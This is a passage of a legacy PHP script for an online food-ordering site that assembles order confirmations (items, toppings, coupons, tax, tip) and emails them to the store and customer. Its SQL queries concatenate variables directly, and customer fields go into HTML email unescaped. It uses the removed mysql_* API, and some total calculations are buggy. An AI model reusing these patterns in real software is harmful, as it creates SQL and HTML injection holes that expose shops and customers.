	 $rt=mysql_query($query);          // query executed
	   echo mysql_error();
	   while($nt=mysql_fetch_array($rt)){
		  $timeordered = $nt[orderTime];
		  $timeordered = date("m/d/Y h:i:s A", strtotime($timeordered) + date('Z'));
		  
		  //$date = new DateTime($timeordered, new DateTimeZone($timezone));
		  //$date->setTimezone(new DateTimeZone($timezone));
		  //$timeordered = $date->format('Y-m-d H:i');
	   }
	$orderheader = '<table width=600 border=1 bordercolor="black" cellspacing=0 cellpadding=5>
	<tr><td><table border=0 width=100%>
	<tr><td colspan="3"><div align="center"><b>'.$title.'</b></div><hr>
	<tr><td><div align="center">Order Number<br />' . $ordernum  . '</div>
	<td><div align="center">Order Time<br />' . $timeordered ;
	//<td><div align="center">Order Time<br />' . date('m/d/Y h:i:s A') ;
	
	$printheader = "             Order#: $ordernum \n";
	$printheader .= "Time of order: $timeordered\n\n";
	
	$orderheader .= '<td><div align="center">Requested Date & Time<br />';
	$printheader .= "Requested Date & Time\n";
	
	if((!empty($schedule))||($schedule =="")){
		   if ($schedule =="now"){
					if($delivery=='1'){	
						$orderheader .=  $deltime;
						$printheader .= "DELIVERY: $deltime\n\n";
					} else {
						$orderheader .=  $preptime;	//show prep time for carry out
						$printheader .= "CARRYOUT: $preptime\n\n";
					}
			 //}
		   }else{
				$orderheader .= $schedule ;
				$printheader .= "Scheduled: $schedule\n\n";
		   }
	  }else{
	    //no time saved, assume it means right away
	    if($delivery=='1'){	
			$orderheader .=  $deltime;
			$printheader .= "DELIVERY: $deltime\n\n";
		} else {
			$orderheader .=  $preptime;	//show prep time for carry out
			$printheader .= "CARRYOUT: $preptime\n\n";
		}
	  }

	$orderheader .= '</table><tr><td><table><td width="50%">';
	$printheader .= "Customer:\n";
	if(!empty($company )){
		$orderheader .=$company . '<br />';
		$printheader .= "     $company\n";
	}
	

	$orderheader .= $firstname . ' ' . $lastname . '<br />' . $phone . '<br />' . $email . '<td width="300">';
    $printheader .= "     $firstname $lastname\n     $phone\n     $email\n" ;
    
	if($delivery==1){
	if((!empty($address))||($address =="")){
	  $orderheader .= 'Deliver to:<br />' . $address;
		$textaddress = str_replace("<br />", "\n", $address);
		$printheader .= "\nDeliver to:\n$textaddress\n";
	  }else{
	  $orderheader .=   'Delivery: Address not found' ;
	  $printheader .= "\nDelivery: Address not found\n";
	  }
	} else {
	  $orderheader .= 'Pickup/carry out';
	  $printheader .= "\nPickup/carry out\n";
	}

	$orderheader .=  '</table>'; //close header table
	$guestheader = '<div align="center">' . $orderheader;  //set guest header the same
	$orderheader = '<div align="center">***NEW ORDER***<br /><br />' . $orderheader ;   //add new order notice to top of order header
	$printheader = "              ***NEW ORDER***\n\n$printheader\n";
	
	$orderdetail = '<tr><td><table border=0>';

	//get coupon code if coupon used for this order
	$query = "Select max(couponCode) as couponCode from orderItem where orderNumber = '" . $ordernum . "'";
	$rt=mysql_query($query);
	while($nt=mysql_fetch_array($rt)){
			if(!empty($nt[couponCode])){
				  $coupon = $nt[couponCode];
			}
	}
	mysql_close;
	//if coupon code found, look up details for coupon
	$query = "Select * from coupon where code = '" . $coupon . "'";
	$rt=mysql_query($query);
	while($nt=mysql_fetch_array($rt)){
				   $cpntype = $nt[couponType];
				   //type 1 = regular discount amount off total cart
				   //type 2 = discount percentage off total cart
				   //type 3 = one set coupon price off specific items
				   //type 4 = one set discount off specific items
				   $discount =  $nt[discountAmount];
				   $minimum =   $nt[minOrder];
				   $discpct =  $nt[discountPercent];
				   $couponprice = $nt[couponPrice];
	}
	mysql_close;

	//build querystring to get items not in pizza subcategories (and not a cart-wide coupon line item)
	$query = "Select * from orderItem where orderNumber = '" . $ordernum . "' AND parentLineNum=0 AND itemNumber>0";

	  $rt=mysql_query($query);          // query executed - rt contains list of all items not in a pizza sub-item category
	   echo mysql_error();
	   while($nt=mysql_fetch_array($rt)){
			  //pull info from menuItem table
			  $query2 ="Select * from menuItem where itemKey=" . $nt[itemNumber];
			  //echo $query2;
			   if(!empty($menudatabase)){	//select shared menu database for item sizes and pricing
				  include ('includes/db2config.php');
				  include ('includes/mysql_connect.php');
			   }
			  $rt2=mysql_query($query2);          // query executed
			  echo mysql_error();
			  while($nt2=mysql_fetch_array($rt2)){
				$orderdetail .= '<tr><td width=75 valign="top">' .$nt[qty] . '<td width=400>' . $nt2[itemName];
				$orderdetail .= ' - ' . $nt[size];
				$printdetail .= "\n$nt[qty] $nt2[itemName] - $nt[size]";
				if (!empty($nt[freeTopping])){   //add free topping if item has one
					if($nt[freeTopping]!="split"){
						$orderdetail .= '<br />+ ' . $nt[freeTopping];
						$printdetail .= "+ $nt[freeTopping]";
					} else {
						$orderdetail .= '<br />+ ' . $nt[freeToppingL] . ' (Left side only)';
						$orderdetail .= '<br />+ ' . $nt[freeToppingR] . ' (Right side only)';
						$printdetail .= "+ $nt[freeToppingR] (right)\n";
						$printdetail .= "+ $nt[freeToppingL] (left)\n";
					}
				}
				if (!empty($nt[freeTopping2])){   //add free topping if item has one
					if($nt[freeTopping2]!="split"){
						$orderdetail .= '<br />+ ' . $nt[freeTopping2];
						$printdetail .= "+ $nt[freeTopping2]\n";
					} else {
						$orderdetail .= '<br />+ ' . $nt[freeTopping2L] . ' (Left side only)';
						$orderdetail .= '<br />+ ' . $nt[freeTopping2R] . ' (Right side only)';
						$printdetail .= "+ $nt[freeTopping2R] (right)\n";
						$printdetail .= "+ $nt[freeTopping2L] (left)\n";
					}
				}
				if (!empty($nt[freeTopping3])){   //add free topping if item has one
					if($nt[freeTopping3]!="split"){
						$orderdetail .= '<br />+ ' . $nt[freeTopping3];
						$printdetail .= "+ $nt[freeTopping3]\n";
					} else {
						$orderdetail .= '<br />+ ' . $nt[freeTopping3L] . ' (Left side only)';
						$orderdetail .= '<br />+ ' . $nt[freeTopping3R] . ' (Right side only)';
						$printdetail .= "+ $nt[freeTopping3R] (right)\n";
						$printdetail .= "+ $nt[freeTopping3L] (left)\n";
					}
				}
				if (!empty($nt[freeTopping4])){   //add free topping if item has one
					if($nt[freeTopping4]!="split"){
						$orderdetail .= '<br />+ ' . $nt[freeTopping4];
						$printdetail .= "+ $nt[freeTopping4]\n";
					} else {
						$orderdetail .= '<br />+ ' . $nt[freeTopping4L] . ' (Left side only)';
						$orderdetail .= '<br />+ ' . $nt[freeTopping4R] . ' (Right side only)';
						$printdetail .= "+ $nt[freeTopping4R] (right)\n";
						$printdetail .= "+ $nt[freeTopping4L] (left)\n";
					}
				}
				if (!empty($nt[freeTopping5])){   //add free topping if item has one
					if($nt[freeTopping5]!="split"){
						$orderdetail .= '<br />+ ' . $nt[freeTopping5];
						$printdetail .= "+ $nt[freeTopping5]\n";
					} else {
						$orderdetail .= '<br />+ ' . $nt[freeTopping5L] . ' (Left side only)';
						$orderdetail .= '<br />+ ' . $nt[freeTopping5R] . ' (Right side only)';
						$printdetail .= "+ $nt[freeTopping5R] (right)\n";
						$printdetail .= "+ $nt[freeTopping5L] (left)\n";
					}
				}
				 if (!empty($nt[couponCode])){   //add coupon number if item has one
				   $orderdetail .= ' (coupon# ' . $nt[couponCode] . ')';
				   $printdetail .= "\n          (Coupon# $nt[couponCode])\n";
				}
				if (!empty($nt[choicea])||!empty($nt[choiceb])||!empty($nt[choicec])||!empty($nt[choiced])||!empty($nt[choicee])||!empty($nt[choicef])||!empty($nt[choiceg])||!empty($nt[choiceh])||!empty($nt[choicei])){
					$orderdetail .= '<br />Options:';
					$printdetail .= "\nOptions:\n";
				}
				if (!empty($nt[choicea])){
					if($nt[choicea_price]>'0.00'){$option_a_price = "$nt[choicea_price]"; $printable_price = "($$nt[choicea_price])";} else {$option_a_price="0.00";}
					$orderdetail .= '<br />' . $nt[choicea];
					$printdetail .= "    $nt[choicea] $printable_price\n";
					$gtotal = $gtotal + $nt[choicea_price];
					$totaltax = $totaltax + ($tax * $nt[choicea_price]);
				}
				if (!empty($nt[choiceb])){
					if($nt[choiceb_price]>'0.00'){$option_b_price = "$nt[choiceb_price]"; $printable_price = "($$nt[choiceb_price])";} else {$option_b_price="0.00";}
					$orderdetail .= '<br />' . $nt[choiceb];
					$printdetail .= "    $nt[choiceb] $printable_price\n";
					$gtotal = $gtotal + $nt[choiceb_price];
					$totaltax = $totaltax + ($tax * $nt[choiceb_price]);
				}
				if (!empty($nt[choicec])){
					if($nt[choicec_price]>'0.00'){$option_c_price = "$nt[choicec_price]"; $printable_price = "($$nt[choicec_price])";} else {$option_c_price="0.00";}
					$orderdetail .= '<br />' . $nt[choicec];
					$printdetail .= "    $nt[choicec] $printable_price\n";
					$gtotal = $gtotal + $nt[choicec_price];
					$totaltax = $totaltax + ($tax * $nt[choicec_price]);
				}
				if (!empty($nt[choiced])){
					if($nt[choiced_price]>'0.00'){$option_d_price = "$nt[choiced_price]"; $printable_price = "($$nt[choiced_price])";} else {$option_d_price="0.00";}
					$orderdetail .= '<br />' . $nt[choiced];
					$printdetail .= "    $nt[choiced] $printable_price\n";
					$gtotal = $gtotal + $nt[choiced_price];
					$totaltax = $totaltax + ($tax * $nt[choiced_price]);
				}
				if (!empty($nt[choicee])){
					if($nt[choicee_price]>'0.00'){$option_e_price = "$nt[choicee_price]"; $printable_price = "($$nt[choicee_price])";} else {$option_e_price="0.00";}
					$orderdetail .= '<br />' . $nt[choicee];
					$printdetail .= "    $nt[choicee] $printable_price\n";
					$gtotal = $gtotal + $nt[choicee_price];
					$totaltax = $totaltax + ($tax * $nt[choicee_price]);
				}
				if (!empty($nt[choicef])){
					if($nt[choicef_price]>'0.00'){$option_f_price = "$nt[choicef_price]"; $printable_price = "($$nt[choicef_price])";} else {$option_f_price="0.00";}
					$orderdetail .= '<br />' . $nt[choicef];
					$printdetail .= "    $nt[choicef] $printable_price\n";
					$gtotal = $gtotal + $nt[choicef_price];
					$totaltax = $totaltax + ($tax * $nt[choicef_price]);
				}
				if (!empty($nt[choiceg])){
					if($nt[choiceg_price]>'0.00'){$option_g_price = "$nt[choiceg_price]"; $printable_price = "($$nt[choiceg_price])";} else {$option_g_price="0.00";}
					$orderdetail .= '<br />' . $nt[choiceg];
					$printdetail .= "    $nt[choiceg] $printable_price\n";
					$gtotal = $gtotal + $nt[choiceg_price];
					$totaltax = $totaltax + ($tax * $nt[choiceg_price]);
				}
				if (!empty($nt[choiceh])){
					if($nt[choiceh_price]>'0.00'){$option_h_price = "$nt[choiceh_price]"; $printable_price = "($$nt[choiceh_price])";} else {$option_h_price="0.00";}
					$orderdetail .= '<br />' . $nt[choiceh];
					$printdetail .= "    $nt[choiceh] $printable_price\n";
					$gtotal = $gtotal + $nt[choiceh_price];
					$totaltax = $totaltax + ($tax * $nt[choiceh_price]);
				}
				if (!empty($nt[choicei])){
					if($nt[choicei_price]>'0.00'){$option_i_price = "$nt[choicei_price]"; $printable_price = "($$nt[choicei_price])";} else {$option_i_price="0.00";}
					$orderdetail .= '<br />' . $nt[choicei];
					$printdetail .= "    $nt[choicei] $printable_price\n";
					$gtotal = $gtotal + $nt[choicei_price];
					$totaltax = $totaltax + ($tax * $nt[choicei_price]);
				}
				if (!empty($nt[size])){  //show size and price for this size if there is a size
				   $orderdetail .=  '<td width=100 valign="top"><div align="right"> $';
				   //get price for this size/item since available in multiple sizes
				   $sizeqry = "Select price, carryout_price from itemSize where itemKey = " . $nt[itemNumber] . " AND size = '" . $nt[size] . "'";
				   //echo 'sizeqry=' . $sizeqry ;
					$rtq=mysql_query($sizeqry);
					echo mysql_error();
					if((empty($nt[couponCode]))||($cpntype<>3)){ //show pricing only if no coupon code on this line
						while($ntq=mysql_fetch_array($rtq)){
						  if($_SESSION[order_type]=="carryout" && $ntq[carryout_price]>0){
								$item_price = $ntq[carryout_price];
							} else {
								$item_price = $ntq[price];
							}	
						  $orderdetail .= $nt[qty]*$item_price;
						  $printdetail .= "                        $".$nt[qty]*$item_price ."\n";
						  //$itemtotal = $itemtotal + ($nt[qty]*$ntq[price]);
						  $itemtotal = $itemtotal + ($nt[qty]*$item_price-($nt[qty]*$nt[upgrade_discount]));
						  if($nt2[taxable]==1){ //check if this item is marked as taxable
							$taxabletotal = $taxabletotal + ($nt[qty]*$item_price-($nt[qty]*$nt[upgrade_discount])) ;  //add to running total taxable amount
						  }
						}
					}
				}  else {   //no size selected, only one size available
					if((empty($nt[couponCode]))||($cpntype<>3)){  //show pricing only if no coupon code on this line
					if($_SESSION[order_type]=="carryout" && $nt2[carryout_price]>0){
								$item_price = $nt2[carryout_price];
							} else {
								$item_price = $nt2[itemPrice];
							}
				   $orderdetail .= '<td width=100><div align="right"> $' . $nt[qty]*$item_price;
				   $printdetail .= "$".$nt[qty]*$item_price."\n";
				   $itemtotal = $itemtotal + ($nt[qty]*($item_price-$nt[upgrade_discount]));
				   if($nt2[taxable]==1){   //check if this item is marked as taxable
							$taxabletotal = $taxabletotal + ($nt[qty]*$item_price-($nt[qty]*$nt[upgrade_discount])) ;  //add to running total taxable amount
						  }
				}
				}
			  //add any option pricing to order detail
			  if($option_a_price>'0.00'){
			  	$orderdetail .="<br>$$option_a_price";
				$taxabletotal = ($taxabletotal + $option_a_price);
				$itemtotal = $itemtotal + ($option_a_price * $nt[qty]);
			  }
			  if($option_b_price>'0.00'){
			  	$orderdetail .="<br>$$option_b_price";
				  $taxabletotal = ($taxabletotal + $option_b_price);
				  $itemtotal = $itemtotal + ($option_b_price * $nt[qty]);
			  }
			  if($option_c_price>'0.00'){
			  	$orderdetail .="<br>$$option_c_price";
				  $taxabletotal = ($taxabletotal + $option_c_price);
				  $itemtotal = $itemtotal + ($option_c_price * $nt[qty]);
			  }
			  if($option_d_price>'0.00'){
			  	$orderdetail .="<br>$$option_d_price";
				  $taxabletotal = ($taxabletotal + $option_d_price);
				  $itemtotal = $itemtotal + ($option_d_price * $nt[qty]);
			  }
			  if($option_e_price>'0.00'){
			  	$orderdetail .="<br>$$option_e_price";
				  $taxabletotal = ($taxabletotal + $option_e_price);
				  $itemtotal = $itemtotal + ($option_e_price * $nt[qty]);
			  }
			  if($option_f_price>'0.00'){
			  	$orderdetail .="<br>$$option_f_price";
				  $taxabletotal = ($taxabletotal + $option_f_price);
				  $itemtotal = $itemtotal + ($option_f_price * $nt[qty]);
			  }
			  if($option_g_price>'0.00'){
			  	$orderdetail .="<br>$$option_g_price";
				  $taxabletotal = ($taxabletotal + $option_g_price);
				  $itemtotal = $itemtotal + ($option_g_price * $nt[qty]);
			  }
			  if($option_h_price>'0.00'){
			  	$orderdetail .="<br>$$option_h_price";
				  $taxabletotal = ($taxabletotal + $option_h_price);
				  $itemtotal = $itemtotal + ($option_h_price * $nt[qty]);
			  }
			  if($option_i_price>'0.00'){
			  	$orderdetail .="<br>$$option_i_price";
				  $taxabletotal = ($taxabletotal + $option_i_price);
				  $itemtotal = $itemtotal + ($option_i_price * $nt[qty]);
			  }
			  
			  }
			  //end of pull info from menuItem table
				if(!empty($menudatabase)){	//select shared menu database for item sizes and pricing
				include ('includes/db1config.php');
				include ('includes/mysql_connect.php');
				}
				
				//if size upgrade discount, show here:
				if($nt[upgrade_discount]>'0.00'){
					$orderdetail .= '<tr><td width=75 valign="top"><td width=400>(Upgrade discount)<td width=100>-$' . number_format($nt[qty]*$nt[upgrade_discount], 2, '.', ',');
					$printdetail .= "(Upgrade discount)". number_format($nt[qty]*$nt[upgrade_discount], 2, '.', ',')."\n";
					$upgrade_discount = $upgrade_discount + $nt[upgrade_discount];
					
				}
				
			//skip sauces and/or crusts if appropriate
			if($skip_crusts==1 || $_SESSION['use_multiple_crusts']==0){$crust_clause = " and crust='0' ";} else {$crust_clause = "";}
			if(empty($sauceitemkeys)){$sauceitemkeys="''";}
			if($skip_sauces==1 || $_SESSION['use_multiple_sauces']==0){$sauce_clause = " and itemNumber NOT IN($sauceitemkeys) ";} else {$sauce_clause = "";}
							
			//check for toppings, crust and sauce for this item
			$pquery = "Select * from orderItem where orderNumber = '" . $ordernum . "' AND parentLineNum='". $nt[recordKey]. "' $crust_clause $sauce_clause order by crust DESC, halfA DESC, halfB DESC ";
			
			// echo $pquery;
			$rtp=mysql_query($pquery);         
			while($ntp=mysql_fetch_array($rtp)){	//step through all sub-items (toppings, fixings, etc) for current item
				$orderdetail .= '<tr><td width=75><td width=400>';
				//$ntp represents orderItem subitems for pizza
				//pull info from menuItem table for current pizza sub-item, crust or sauce
				if(!empty($menudatabase)){	//select shared menu database for item sizes and pricing
					include ('includes/db2config.php');
					include ('includes/mysql_connect.php');
				}
				$query2 ="Select * from menuItem where itemKey=" . $ntp[itemNumber];
				$rt2=mysql_query($query2);         
				while($nt2=mysql_fetch_array($rt2)){	//get price, name, etc for current sub-item
					$orderdetail .= ' + ' . $nt2[itemName];
					$printdetail .= " + $nt2[itemName]";
					if(($ntp[halfA]==0)&&($ntp[halfB]==0)){
					   //do nothing - either a crust, sauce or topping on whole pizza
					}elseif($ntp[halfA]==1){
						$orderdetail .= ' (left side only)';
						$printdetail .= " (left only) ";
						$half=TRUE;
					}elseif($ntp[halfB]==1){
						$orderdetail .= ' (right side only)';
						$printdetail .= " (right only) ";
						$half=TRUE;
					}
						 
					if (!empty($nt[size])){  //show size and price for this size
						$orderdetail .=  '<td width=100> $';
						//get price for this size/item since available in multiple sizes
						$sizeqry = "Select price from itemSize where itemKey = " . $ntp[itemNumber] . " AND size = '" . $nt[size] . "'";
						//echo 'sizeqry: ' . $sizeqry ;
						$rtq=mysql_query($sizeqry);
						echo mysql_error();
						while($ntq=mysql_fetch_array($rtq)){
							$sizeprice = $nt[qty]*$ntq[price];
							//$sizeprice = $ntq[price];
							if(($half==TRUE)&&($half_topping_prices=='1')){
								$sizeprice = $sizeprice * .5;
							}
						}
						if ($sizeprice >0){
							$orderdetail .= number_format($sizeprice, 2, '.', ',');
							$printdetail .= " $".number_format($sizeprice, 2, '.', ',')."\n";
						} else {
							//no size pricing found for this size - use default price
							$sizeprice = $nt[qty]*$nt2[itemPrice];
							if(($half==TRUE)&&($half_topping_prices=='1')){
								$sizeprice = $sizeprice * .5;
							}
							
							//$sizeprice = $nt2[itemPrice];
							$orderdetail .=  number_format($sizeprice, 2, '.', ',');
							if ($sizeprice >0){ //only print price on receipt if greater than 0
								$printdetail .= " $".number_format($sizeprice, 2, '.', ',')."\n";
							}
						}
						if($nt2[taxable]==1){
							//$taxabletotal = $taxabletotal + ($sizeprice * $nt[qty]) ;
							$taxabletotal = $taxabletotal + $sizeprice ;
						}
						   //$itemtotal = $itemtotal + ($nt[qty]*$sizeprice);
						$itemtotal = $itemtotal + number_format($sizeprice, 2, '.', ',');
						$sizeprice =0; //clear variable before next item

					}  else {     //no size selected, one size only available
						if(($half==TRUE)&&($half_topping_prices=='1')){
							$sizeprice = number_format(($sizeprice*.5), 2, '.', ',');
								//$orderdetail .= '<tr><td width=100> half size price =' . $sizeprice.' <tr>';
							} else{
								$sizeprice = $nt2[itemPrice];
								//$orderdetail .= '<tr><td width=100> size price =' . $sizeprice.' <tr>';
							}
						$orderdetail .= '<td width=100> $' . number_format(($nt[qty]*$sizeprice), 2, '.', ',');
						$printdetail .= " $".number_format(($nt[qty]*$sizeprice), 2, '.', ',')."\n";
						
						if($nt2[taxable]==1){
								$taxabletotal = $taxabletotal + ($nt[qty]*$sizeprice);
						}
						$itemtotal = $itemtotal + ($nt[qty]*$nt2[itemPrice]);
						//$itemtotal = $itemtotal + $sizeprice;
						
						$sizeprice =0; //clear variable before next item
					}
				
				
				
					$half=FALSE;	//reset
				}
			  //end of pull info from menuItem table
			}
	   }
	   
	//$ordernote = str_replace("\'", "'", $ordernote);
	$orderdetail .= '<tr><td><br />**Notes:<td><br /><div align="center">' . stripslashes($ordernote) ;
	$orderdetail .= '</div></table>';
	$printdetail .= "\nNote:".stripslashes($ordernote)."\n\n";

	 if(!empty($menudatabase)){	//select main database for store to access local store settings
		include ('includes/db1config.php');
		include ('includes/mysql_connect.php');
	}
		 $dquery = "Select deliveryCharge, taxdelivery from storePrefs";
		 $dq=mysql_query($dquery);
				 //echo mysql_error();
				 while($ntdq=mysql_fetch_array($dq)){
					 if(($ntdq[deliveryCharge] >0)&&($delivery ==1)){ //delivery charge applies & order is for delivery
						   if(!isset($_SESSION['delivery'])){
                       			$delcharge = $ntdq[deliveryCharge];
						   } else {
					 	   		$delcharge = $_SESSION['delivery'];
						   }
						   //get any additional delivery charge for user's delivery zone
							/*	$query = "select delivery_zone from guestLogin where UserKey='".$_SESSION['UserKey']."'"; 
								$rt3=mysql_query($query);
								if (mysql_num_rows($rt3) !== 0) {
									while($nt3=mysql_fetch_array($rt3)){
										$zone = $nt3['delivery_zone'];
										$query = "select cost from delivery_zones where zone_number = '$zone'";
										$rt2=mysql_query($query);
										while($nt2=mysql_fetch_array($rt2)){
											$zone_upcharge = $nt2['cost'];
										}
										
									}
								} else {
									$zone_upcharge = 0;
								}
								mysql_close;
								
								$delcharge = $delcharge + $zone_upcharge;
						   */
						   
						   
						   
						   if(!empty($ntdq[taxdelivery])){    //if delivery charge is taxable, calculate here
								 $deltax = $_SESSION['delivery']  *  $taxrate ;
						   }
					 }  else {       //order for carryout or no delivery charge applies
						   $delcharge =0;
						   $deltax = 0;
				 }
		  }


	 $taxprct = ($taxrate * 100);
	//add subtotal line
	$itemtotal = number_format($itemtotal, 2, '.', ',');
	$orderpricing = '<tr><td><table><tr><td width="75%"><div align="right">Sub total<td width=100><div align="right"> $ ' . number_format($itemtotal, 2, '.', ',')  . '</div>';
	$printdetail .= "Subtotal:              $".number_format($itemtotal, 2, '.', ',')."\n";
	//add coupon discount or coupon price line
	   if(!empty($coupon)){
		  if(($cpntype==1)||($cpntype==2)||($cpntype==4)){
			if((empty($minimum))||($itemtotal>=$minimum)){
			$orderpricing .= '<tr><td width="75%"><div align="right">Coupon# ' . $coupon . ' discount: <td width=100><div align="right"> -$ ';
			
			
			 //calculate discount based on coupon type
			 if(($cpntype==1)||($cpntype==4)){
				$taxabletotal = $taxabletotal - $discount;
				$itemtotal = $itemtotal - $discount ;
			 }
			  if(($cpntype==2)){
				$discount = (($discpct*.01) * $itemtotal);
				$itemtotal = $itemtotal - $discount ;
				$taxabletotal = $taxabletotal - ($taxabletotal * ($discpct*.01));
			 }
			 $printdetail .= "Coupon#: $coupon           $$discount\n";
			 $orderpricing .= number_format($discount, 2, '.', ',') . '</div>';
			}
		  }
		  if($cpntype==3){
			$orderpricing .= '<tr><td width="75%"><div align="right">Coupon# ' . $coupon . ' price: <td width=100><div align="right"> $ ' . number_format($couponprice, 2, '.', ',')  . '</div>';
			$printdetail .= "Coupon#: $coupon           $$couponprice\n";
			$itemtotal = $itemtotal + $couponprice;
			$taxabletotal = $taxabletotal + $couponprice ;
		  }
	   }
	   
	 $totaltax = (($taxabletotal*$taxrate)+$deltax);
	 $gtotal =  $itemtotal + $totaltax + $_SESSION['delivery'];
	 
	   //add delivery chg, tax and order total
	if($wedeliver==1){$orderpricing .= '<tr><td width="85%"><div align="right">Delivery<td width=100><div align="right"> $ ' . number_format($_SESSION['delivery'], 2, '.', ',')  . '</div>';}
	$orderpricing .= '<tr><td width="85%"><div align="right">Sales tax (' . number_format($taxprct, 2, '.', ',') . '%)<td width=100><div align="right"> $ ' . number_format($totaltax, 2, '.', ',')  . '</div>';
	if($tipamount>0){
		$orderpricing .= '<tr><td width="85%"><div align="right">Tip<td width=100><div align="right"> $' . number_format($tipamount, 2, '.', ',') . '</div>';
		$printdetail .= "Online tip: $".number_format($tipamount, 2, '.', ',')."\n";
		$gtotal = $gtotal + $tipamount;
	}
	$orderpricing .= '<tr><td width="85%"><div align="right">Order total<td width=100><div align="right"> $' . number_format($gtotal, 2, '.', ',') . '</table>';
	//<tr><td width="85%"><div align="right">Order total<td width=100><div align="right"> $' . $ordertotal  . '</table>';
	$printdetail .= "Order total:           $".number_format($gtotal, 2, '.', ',')."\n";
	$paymentinfo ='<tr><td><table><tr><td width=500><div align="left">Payment: ' . $payment;	//echo "linkpos: ".$_SESSION['linkpos'];	//process LinkPOS web service calls if needed	if($_SESSION['linkpos']!=false){		//include("linkpos_submit_order.php");	}	
	 if ($payment =="card"){		
		if(($_SESSION['linkpos']==false)||(($_SESSION['linkpos']==true)&&($approved=='1'))){
			 $paymentinfo .= ' ending in: ' . $cardlast4 ;
			 $paymentinfo .= '<br />Card holder: ' . $_SESSION['cardholder'];
			 $paymentinfo .= '<br />Status: PAID';
			 $printdetail .= "cc: -$cardlast4\n" .$_SESSION['cardholder']."\n             Status: PAID\n\n" ;		
		 } else {			
			$faxpymtinfo = $paymentinfo;
			$printdetail .= "cc: -$cardlast4\n" .$_SESSION['cardholder']."\n             Status: PAID\n\n" ;		
		 }
		 //$paymentinfo .= '<br />Card holder: ' . $cardholder . '<br />' . $cardtype . ' ending in -' . $cardlast4 . '<br />exp:' .  $cardexp .'<br />Billing zip: ' . $cardzip;
		 //$faxpymtinfo = $paymentinfo . '<br />' . $cardtype . ' #' . $fullcardnum . '<br />exp:' .  $cardexp ;
		 //$faxpymtinfo = $paymentinfo . '<br />' . $cardtype . ' ending in: ' . $cardlast4 ;
	 } else {		$faxpymtinfo = $paymentinfo;
	 $printdetail .= "Cash\n" .$_SESSION['cardholder']."\n            Status: UNPAID\n" ;
		 
	 }
	$paymentinfo .='</div><td width=100><div align="right">$' . number_format($gtotal, 2, '.', ',') . '</table>';
	$faxpymtinfo .='</div><td width=100><div align="right">$' . number_format($gtotal, 2, '.', ',') . '</table>';
	//$printdetail .= "\x1b\x45 Delivery:                    $".number_format($_SESSION['delivery'], 2, '.', ',')."\n \x1b\x46"."Tax:                         $".number_format($totaltax, 2, '.', ',')."\nTotal:                       $".number_format($gtotal, 2, '.', ',')."\n";
	$printdetail .= "Delivery:                    $".number_format($_SESSION['delivery'], 2, '.', ',')."\nTax:                         $".number_format($totaltax, 2, '.', ',')."\nTotal:                       $".number_format($gtotal, 2, '.', ',')."\n";
	
	
	$orderfooter = '<tr><td><table border=1 cellspacing=0><tr><td><img src="custom/images/header-logo.png" width=150><td width=400><div align="center">Thanks for using the online ordering system. <br />Questions? Email us: '.$brand_email.'</div></table>
	</table>
	<br /><br /><img src="'.$brand_email_logo.'" /> <br /> '.str_replace("http://", "", $brand_website).'</div>';

$guestfooter = '<tr><td><table border=1 cellspacing=0><tr><td><img src="custom/images/header-logo.png" width=150><td width=400><div align="center">Thanks for using our online ordering system. <br />Questions? Email us: <a href="mailto:' . $storeemail .'">' . $storeemail . ' </a></div></table>
	</table>
	<br /><br /><img src="'.$brand_email_logo.'" /> <br /> '.str_replace("http://", "", $brand_website).'</div>';


//	$guestfooter = '<tr><td><table border=1><tr><td><font size=5>' . $title . '</font><td width=400><div align="center">Thanks for using our online ordering system. <br />Questions? Email us: <a href="mailto:' . $storeemail .'">' . $storeemail . ' </a></div></table>
//	</table>
//	<br /><br /><img src="'.$brand_email_logo.'" /> <br /> '.str_replace("http://", "", $brand_website).'</div>';

	//echo "<br />test...footer: ". $guestfooter ;

	 //this html will be used for fax and email notification to store
	$orderhtml = $orderheader . $orderdetail . $orderpricing . $paymentinfo . $orderfooter;
	 //this html will be used to send to customer for order confirmation
	$guesthtml = $guestheader . $orderdetail . $orderpricing . $paymentinfo . $guestfooter;
	 //this html will be used to send fax notification to store
	$faxhtml = $orderheader . $orderdetail . $orderpricing . $faxpymtinfo . $orderfooter; ;
	
		//if store uses LinkPOS, run script to send order to POS web service (so it will display in the store POS system)
	
	if($order_error!=1){
	  //email order to store email list
	  
	 $query = "Select orderEmail1, orderEmail2, text_notice_phone from storePrefs";
	 $rt=mysql_query($query);          // query executed
			echo mysql_error();
		while($nt=mysql_fetch_array($rt)){
		 $firstemail = $nt[orderEmail1];
		 $secondemail = $nt[orderEmail2];
		 $text_notice = $nt[text_notice_phone];
	  }
	  //if test mode, send to ourselves, not to store
	  if($_SESSION['environment']=="test"){
			$firstemail = "apicton@tastesystems.com";
			$secondemail = "apicton@pilotwebsolutions.com";
	  }
	  if (!empty($firstemail)){    //if store has email address, send confirmation
		   //$notifyemail = $firstemail;
		   //include('emailnotify.php');
		   $body = "<div align=center>Please do not reply to this email. It was sent from an automated system and you will not receive a response.</div><br /><br />" . $orderhtml;
		   if (!empty($secondemail)){$cc = $secondemail;} else {$cc= "";}
		   $email_result = send_mail($firstemail, $from_address, $from_name, $bcc, $cc, $store_subject, $body);
		   if($email_result=="error"){
		   		$store_email_error = 1;	
		   }

	  }
	  //if (!empty($secondemail)){    //if guest has email address, send confirmation
		   //$notifyemail = $secondemail;
		//   $body = "<div align=center>Please do not reply to this email. It was sent from an automated system and you will not receive a response.</div><br /><br />" . $orderhtml;
		   //include('emailnotify1.php');
		//   send_mail($secondemail, $from_address, $from_name, $bcc, $store_subject, $body);
	  //}
		//send sms notice to admin if subscribed and entered
		$query2 = "Select text_notice_enabled from storePrefs";
		$rt2=mysql_query($query2);          // query executed
		while($nt2=mysql_fetch_array($rt2)){
			if($nt2[text_notice_enabled]=='1' && $text_notice>""){
				include('send-order-sms.php');
			}
		}
		
	  if (!empty($guestemail)){    //if guest has email address, send confirmation
		   //include('emailconf.php');
		$body = "<div align=center>Please do not reply to this email. It was sent from an automated system and you will not receive a response.</div><br /><br />" . $guesthtml;
		$cc = "";
	  	$email_result = send_mail($guestemail, $from_address, $from_name, $bcc, $cc, $guest_subject, $body);
		if($email_result=="error"){
		   		$guest_email_error = 1;	
		   }
	  }

	   echo '<div style="clear:both;"></div><br /><div align="center"><br /><br />';
	   if(trim($custom_order_confirmation)!=""){
			echo $custom_order_confirmation."<br>";
	   } else {
			echo 'Thank you for your order! ';
	   }
	   echo 'Your order number is: ' . $ordernum . ' <br /><br />You should receive an email confirmation shortly.</div>';
	    if($store_email_error==1 && $guest_email_error==1){
